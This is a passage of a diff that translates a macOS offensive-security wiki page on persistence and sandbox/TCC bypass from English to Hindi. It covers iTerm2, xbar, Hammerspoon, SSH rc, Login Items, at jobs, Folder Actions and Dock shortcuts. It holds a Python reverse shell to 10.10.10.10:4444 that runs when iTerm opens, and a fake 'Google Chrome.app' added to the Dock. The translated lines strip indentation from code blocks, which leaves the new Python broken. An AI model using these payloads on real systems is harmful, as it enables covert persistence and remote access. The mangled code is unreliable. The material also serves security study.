(mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -To add a **user cronjob programatically** it's possible to use: - +एक **user cronjob programatically** जोड़ने के लिए, इसका उपयोग करना संभव है: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` - ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - iTerm2 use to have granted TCC permissions +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- iTerm2 को TCC अनुमतियाँ दी गई थीं -#### Locations +#### स्थान - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - - **Trigger**: Open iTerm +- **ट्रिगर**: iTerm खोलें - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** - - **Trigger**: Open iTerm +- **ट्रिगर**: iTerm खोलें - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - - **Trigger**: Open iTerm +- **ट्रिगर**: iTerm खोलें -#### Description & Exploitation - -Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: +#### विवरण और शोषण +**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** में संग्रहीत स्क्रिप्ट्स निष्पादित की जाएंगी। उदाहरण के लिए: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -470,52 +441,44 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` - -or: - +या: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); - async with iterm2.CustomControlSequenceMonitor( - connection, "shared-secret", r'^create-window$') as mon: - while True: - match = await mon.async_get() - await iterm2.Window.async_create(connection) +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); +async with iterm2.CustomControlSequenceMonitor( +connection, "shared-secret", r'^create-window$') as mon: +while True: +match = await mon.async_get() +await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` - -The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: - +स्क्रिप्ट **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** भी निष्पादित की जाएगी: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` +iTerm2 की प्राथमिकताएँ **`~/Library/Preferences/com.googlecode.iterm2.plist`** में स्थित हैं, जो **iTerm2 टर्मिनल खुलने पर निष्पादित करने के लिए एक आदेश को इंगित कर सकती हैं**। -The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. - -This setting can be configured in the iTerm2 settings: +यह सेटिंग iTerm2 सेटिंग्स में कॉन्फ़िगर की जा सकती है:
-And the command is reflected in the preferences: - +और आदेश प्राथमिकताओं में परिलक्षित होता है: ```bash plutil -p com.googlecode.iterm2.plist { - [...] - "New Bookmarks" => [ - 0 => { - [...] - "Initial Text" => "touch /tmp/iterm-start-command" +[...] +"New Bookmarks" => [ +0 => { +[...] +"Initial Text" => "touch /tmp/iterm-start-command" ``` - -You can set the command to execute with: - +आप कमांड को निष्पादित करने के लिए सेट कर सकते हैं: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist @@ -526,28 +489,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` - > [!WARNING] -> Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. +> अत्यधिक संभावना है कि **iTerm2 प्राथमिकताओं का दुरुपयोग करने के अन्य तरीके** हैं ताकि मनमाने आदेशों को निष्पादित किया जा सके। ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But xbar must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन xbar स्थापित होना चाहिए +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- यह एक्सेसिबिलिटी अनुमतियों की मांग करता है -#### Location +#### स्थान - **`~/Library/Application\ Support/xbar/plugins/`** - - **Trigger**: Once xbar is executed +- **ट्रिगर**: एक बार xbar निष्पादित होने पर -#### Description - -If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: +#### विवरण +यदि लोकप्रिय प्रोग्राम [**xbar**](https://github.com/matryer/xbar) स्थापित है, तो **`~/Library/Application\ Support/xbar/plugins/`** में एक शेल स्क्रिप्ट लिखना संभव है जो xbar शुरू होने पर निष्पादित होगी: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -555,79 +516,76 @@ touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` - ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Hammerspoon must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन Hammerspoon को स्थापित करना आवश्यक है +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- यह एक्सेसिबिलिटी अनुमतियों की मांग करता है #### Location - **`~/.hammerspoon/init.lua`** - - **Trigger**: Once hammerspoon is executed +- **Trigger**: एक बार hammerspoon निष्पादित होने पर #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly. - -The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) **macOS** के लिए एक ऑटोमेशन प्लेटफॉर्म के रूप में कार्य करता है, जो अपनी संचालन के लिए **LUA स्क्रिप्टिंग भाषा** का उपयोग करता है। विशेष रूप से, यह पूर्ण AppleScript कोड के एकीकरण और शेल स्क्रिप्टों के निष्पादन का समर्थन करता है, जिससे इसकी स्क्रिप्टिंग क्षमताओं में काफी वृद्धि होती है। +ऐप एकल फ़ाइल, `~/.hammerspoon/init.lua` की तलाश करता है, और जब शुरू किया जाता है तो स्क्रिप्ट निष्पादित होगी। ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` - ### BetterTouchTool -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But BetterTouchTool must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation-Shortcuts and Accessibility permissions +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन BetterTouchTool स्थापित होना चाहिए +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- यह Automation-Shortcuts और Accessibility अनुमतियों की मांग करता है #### Location - `~/Library/Application Support/BetterTouchTool/*` -This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own **shortcut and action to execute in the database** to make it execute arbitrary code (a shortcut could be to just to press a key). +यह उपकरण उन अनुप्रयोगों या स्क्रिप्टों को इंगित करने की अनुमति देता है जिन्हें कुछ शॉर्टकट दबाने पर निष्पादित किया जाना है। एक हमलावर अपने **शॉर्टकट और क्रिया को डेटाबेस में कॉन्फ़िगर करने में सक्षम हो सकता है** ताकि यह मनमाना कोड निष्पादित कर सके (एक शॉर्टकट बस एक कुंजी दबाने के लिए हो सकता है)। ### Alfred -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Alfred must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation, Accessibility and even Full-Disk access permissions +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन Alfred स्थापित होना चाहिए +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- यह Automation, Accessibility और यहां तक कि Full-Disk एक्सेस अनुमतियों की मांग करता है #### Location - `???` -It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows). +यह कार्यप्रवाह बनाने की अनुमति देता है जो कुछ शर्तें पूरी होने पर कोड निष्पादित कर सकते हैं। संभावित रूप से, एक हमलावर एक कार्यप्रवाह फ़ाइल बना सकता है और Alfred को इसे लोड करने के लिए मजबूर कर सकता है (कार्यप्रवाह का उपयोग करने के लिए प्रीमियम संस्करण खरीदना आवश्यक है)। ### SSHRC Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But ssh needs to be enabled and used -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - SSH use to have FDA access +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन ssh को सक्षम और उपयोग किया जाना चाहिए +- TCC बायपास: [✅](https://emojipedia.org/check-mark-button) +- SSH का उपयोग FDA एक्सेस के लिए किया जाता है #### Location - **`~/.ssh/rc`** - - **Trigger**: Login via ssh +- **Trigger**: ssh के माध्यम से लॉगिन - **`/etc/ssh/sshrc`** - - Root required - - **Trigger**: Login via ssh +- रूट आवश्यक +- **Trigger**: ssh के माध्यम से लॉगिन > [!CAUTION] -> To turn ssh on requres Full Disk Access: +> ssh को चालू करने के लिए Full Disk Access की आवश्यकता होती है: > > ```bash > sudo systemsetup -setremotelogin on @@ -635,30 +593,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Description & Exploitation -By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. +डिफ़ॉल्ट रूप से, जब तक `/etc/ssh/sshd_config` में `PermitUserRC no` नहीं है, जब एक उपयोगकर्ता **SSH के माध्यम से लॉगिन करता है** तो स्क्रिप्ट **`/etc/ssh/sshrc`** और **`~/.ssh/rc`** निष्पादित की जाएंगी। ### **Login Items** Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to execute `osascript` with args -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन आपको args के साथ `osascript` निष्पादित करने की आवश्यकता है +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### Locations - **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** - - **Trigger:** Login - - Exploit payload stored calling **`osascript`** +- **Trigger:** लॉगिन +- Exploit payload **`osascript`** को कॉल करते हुए संग्रहीत किया गया - **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** - - **Trigger:** Login - - Root required +- **Trigger:** लॉगिन +- रूट आवश्यक #### Description -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: - +System Preferences -> Users & Groups -> **Login Items** में आप **उन आइटमों को पा सकते हैं जिन्हें उपयोगकर्ता लॉगिन करते समय निष्पादित किया जाना है**।\ +इन्हें सूचीबद्ध करना, जोड़ना और कमांड लाइन से हटाना संभव है: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -669,57 +626,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` +ये आइटम फ़ाइल **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** में संग्रहीत होते हैं। -These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +**लॉगिन आइटम** को API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) का उपयोग करके भी संकेतित किया जा सकता है, जो कॉन्फ़िगरेशन को **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** में संग्रहीत करेगा। -**Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +### ZIP को लॉगिन आइटम के रूप में -### ZIP as Login Item +(लॉगिन आइटम के बारे में पिछले अनुभाग को देखें, यह एक विस्तार है) -(Check previous section about Login Items, this is an extension) +यदि आप एक **ZIP** फ़ाइल को **लॉगिन आइटम** के रूप में संग्रहीत करते हैं, तो **`Archive Utility`** इसे खोलेगा और यदि ज़िप उदाहरण के लिए **`~/Library`** में संग्रहीत था और इसमें फ़ोल्डर **`LaunchAgents/file.plist`** था जिसमें एक बैकडोर था, तो वह फ़ोल्डर बनाया जाएगा (यह डिफ़ॉल्ट रूप से नहीं होता) और plist जोड़ा जाएगा ताकि अगली बार जब उपयोगकर्ता फिर से लॉगिन करे, तो **plist में संकेतित बैकडोर निष्पादित होगा**। -If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. - -Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. +एक और विकल्प होगा कि उपयोगकर्ता HOME के अंदर फ़ाइलें **`.bash_profile`** और **`.zshenv`** बनाई जाएं, ताकि यदि फ़ोल्डर LaunchAgents पहले से मौजूद है तो यह तकनीक अभी भी काम करेगी। ### At Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to **execute** **`at`** and it must be **enabled** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन आपको **`at`** को **निष्पादित** करना होगा और इसे **सक्षम** होना चाहिए +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान -- Need to **execute** **`at`** and it must be **enabled** +- आपको **`at`** को **निष्पादित** करना होगा और इसे **सक्षम** होना चाहिए -#### **Description** +#### **विवरण** -`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +`at` कार्यों को निश्चित समय पर **एक बार के कार्यों** को निष्पादित करने के लिए डिज़ाइन किया गया है। क्रॉन जॉब्स के विपरीत, `at` कार्य निष्पादन के बाद स्वचालित रूप से हटा दिए जाते हैं। यह ध्यान रखना महत्वपूर्ण है कि ये कार्य सिस्टम रिबूट के दौरान स्थायी होते हैं, जो उन्हें कुछ परिस्थितियों में संभावित सुरक्षा चिंताओं के रूप में चिह्नित करता है। +**डिफ़ॉल्ट** रूप से ये **निष्क्रिय** होते हैं लेकिन **रूट** उपयोगकर्ता इन्हें **सक्षम** कर सकता है: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file in 1 hour: - +यह 1 घंटे में एक फ़ाइल बनाएगा: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` - -Check the job queue using `atq:` - +`atq:` का उपयोग करके नौकरी की कतार की जांच करें: ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` - -Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` - +ऊपर हम दो निर्धारित नौकरियों को देख सकते हैं। हम `at -c JOBNUMBER` का उपयोग करके नौकरी के विवरण को प्रिंट कर सकते हैं। ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -744,18 +693,16 @@ LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { - echo 'Execution directory inaccessible' >&2 - exit 1 +echo 'Execution directory inaccessible' >&2 +exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` - > [!WARNING] -> If AT tasks aren't enabled the created tasks won't be executed. - -The **job files** can be found at `/private/var/at/jobs/` +> यदि AT कार्य सक्षम नहीं हैं तो बनाए गए कार्य निष्पादित नहीं होंगे। +**कार्य फ़ाइलें** `/private/var/at/jobs/` पर पाई जा सकती हैं। ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -764,46 +711,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` +फाइलनाम में कतार, नौकरी संख्या, और समय शामिल होता है जब इसे चलाने के लिए निर्धारित किया गया है। उदाहरण के लिए, चलिए `a0001a019bdcd2` पर एक नज़र डालते हैं। -The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. +- `a` - यह कतार है +- `0001a` - नौकरी संख्या हेक्स में, `0x1a = 26` +- `019bdcd2` - समय हेक्स में। यह युग से बीते मिनटों का प्रतिनिधित्व करता है। `0x019bdcd2` दशमलव में `26991826` है। यदि हम इसे 60 से गुणा करते हैं, तो हमें `1619509560` मिलता है, जो कि `GMT: 2021. अप्रैल 27., मंगलवार 7:46:00` है। -- `a` - this is the queue -- `0001a` - job number in hex, `0x1a = 26` -- `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. +यदि हम नौकरी फ़ाइल को प्रिंट करते हैं, तो हमें वही जानकारी मिलती है जो हमें `at -c` का उपयोग करके मिली थी। -If we print the job file, we find that it contains the same information we got using `at -c`. - -### Folder Actions +### फ़ोल्डर क्रियाएँ Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - It has some basic TCC permissions like Desktop, Documents and Downloads +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन आपको **`System Events`** से संपर्क करने के लिए तर्कों के साथ `osascript` कॉल करने में सक्षम होना चाहिए ताकि फ़ोल्डर क्रियाएँ कॉन्फ़िगर की जा सकें +- TCC बायपास: [🟠](https://emojipedia.org/large-orange-circle) +- इसमें कुछ बुनियादी TCC अनुमतियाँ हैं जैसे डेस्कटॉप, दस्तावेज़ और डाउनलोड -#### Location +#### स्थान - **`/Library/Scripts/Folder Action Scripts`** - - Root required - - **Trigger**: Access to the specified folder +- रूट आवश्यक +- **ट्रिगर**: निर्दिष्ट फ़ोल्डर तक पहुँच - **`~/Library/Scripts/Folder Action Scripts`** - - **Trigger**: Access to the specified folder +- **ट्रिगर**: निर्दिष्ट फ़ोल्डर तक पहुँच -#### Description & Exploitation +#### विवरण और शोषण -Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands. +फ़ोल्डर क्रियाएँ स्क्रिप्ट हैं जो फ़ोल्डर में परिवर्तन जैसे आइटम जोड़ने, हटाने, या फ़ोल्डर विंडो खोलने या आकार बदलने जैसी अन्य क्रियाओं द्वारा स्वचालित रूप से ट्रिगर होती हैं। इन क्रियाओं का विभिन्न कार्यों के लिए उपयोग किया जा सकता है, और इन्हें फ़ाइंडर UI या टर्मिनल कमांड का उपयोग करके विभिन्न तरीकों से ट्रिगर किया जा सकता है। -To set up Folder Actions, you have options like: +फ़ोल्डर क्रियाएँ सेट करने के लिए, आपके पास विकल्प हैं जैसे: -1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service. -2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder. -3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action. - - This method is particularly useful for embedding the action into the system, offering a level of persistence. - -The following script is an example of what can be executed by a Folder Action: +1. [Automator](https://support.apple.com/guide/automator/welcome/mac) के साथ एक फ़ोल्डर क्रिया कार्यप्रवाह तैयार करना और इसे एक सेवा के रूप में स्थापित करना। +2. फ़ोल्डर के संदर्भ मेनू में फ़ोल्डर क्रियाएँ सेटअप के माध्यम से एक स्क्रिप्ट मैन्युअल रूप से संलग्न करना। +3. `System Events.app` के लिए प्रोग्रामेटिक रूप से फ़ोल्डर क्रिया सेटअप करने के लिए Apple Event संदेश भेजने के लिए OSAScript का उपयोग करना। +- यह विधि प्रणाली में क्रिया को एम्बेड करने के लिए विशेष रूप से उपयोगी है, जो एक स्तर की स्थिरता प्रदान करती है। +निम्नलिखित स्क्रिप्ट एक उदाहरण है कि फ़ोल्डर क्रिया द्वारा क्या निष्पादित किया जा सकता है: ```applescript // source.js var app = Application.currentApplication(); @@ -813,15 +758,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` - -To make the above script usable by Folder Actions, compile it using: - +Folder Actions द्वारा उपरोक्त स्क्रिप्ट को उपयोगी बनाने के लिए, इसे निम्नलिखित का उपयोग करके संकलित करें: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` - -After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder. - +स्क्रिप्ट संकलित होने के बाद, नीचे दिए गए स्क्रिप्ट को निष्पादित करके फ़ोल्डर क्रियाएँ सेट करें। यह स्क्रिप्ट वैश्विक रूप से फ़ोल्डर क्रियाओं को सक्षम करेगी और विशेष रूप से पूर्व में संकलित स्क्रिप्ट को डेस्कटॉप फ़ोल्डर से जोड़ देगी। ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -831,17 +772,13 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` - -Run the setup script with: - +सेटअप स्क्रिप्ट चलाएँ: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` +- यह GUI के माध्यम से इस स्थिरता को लागू करने का तरीका है: -- This is the way yo implement this persistence via GUI: - -This is the script that will be executed: - +यह स्क्रिप्ट है जो निष्पादित की जाएगी: ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -850,59 +787,55 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` +इसे संकलित करें: `osacompile -l JavaScript -o folder.scpt source.js` -Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` - -Move it to: - +इसे स्थानांतरित करें: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` - -Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp): +फिर, `Folder Actions Setup` ऐप खोलें, **उस फ़ोल्डर का चयन करें जिसे आप देखना चाहते हैं** और आपके मामले में **`folder.scpt`** का चयन करें (मेरे मामले में मैंने इसे output2.scp कहा):
-Now, if you open that folder with **Finder**, your script will be executed. +अब, यदि आप उस फ़ोल्डर को **Finder** के साथ खोलते हैं, तो आपका स्क्रिप्ट निष्पादित होगा। -This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. +यह कॉन्फ़िगरेशन **plist** में संग्रहीत था जो **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** में base64 प्रारूप में है। -Now, lets try to prepare this persistence without GUI access: +अब, चलिए इस स्थिरता को बिना GUI एक्सेस के तैयार करने की कोशिश करते हैं: -1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: - - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Remove** the Folder Actions you just set: +1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** को `/tmp` में बैकअप के लिए कॉपी करें: +- `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` +2. **Folder Actions** को हटा दें जो आपने अभी सेट किया था:
-Now that we have an empty environment +अब जब हमारे पास एक खाली वातावरण है -3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. बैकअप फ़ाइल कॉपी करें: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. इस कॉन्फ़िगरेशन का उपयोग करने के लिए Folder Actions Setup.app खोलें: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> And this didn't work for me, but those are the instructions from the writeup:( +> और यह मेरे लिए काम नहीं किया, लेकिन ये लिखावट से निर्देश हैं:( -### Dock shortcuts +### Dock शॉर्टकट -Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +लिखावट: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to have installed a malicious application inside the system -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) +- लेकिन आपको सिस्टम के अंदर एक दुर्भावनापूर्ण एप्लिकेशन स्थापित करना होगा +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान - `~/Library/Preferences/com.apple.dock.plist` - - **Trigger**: When the user clicks on the app inside the dock +- **Trigger**: जब उपयोगकर्ता डॉक के अंदर ऐप पर क्लिक करता है -#### Description & Exploitation +#### विवरण और शोषण -All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** - -It's possible to **add an application** just with: +सभी एप्लिकेशन जो डॉक में दिखाई देते हैं, उन्हें plist के अंदर निर्दिष्ट किया गया है: **`~/Library/Preferences/com.apple.dock.plist`** +यह **एक एप्लिकेशन जोड़ना** संभव है बस: ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -910,9 +843,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -965,92 +896,86 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` - -### Color Pickers +### रंग पिकर्स Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - A very specific 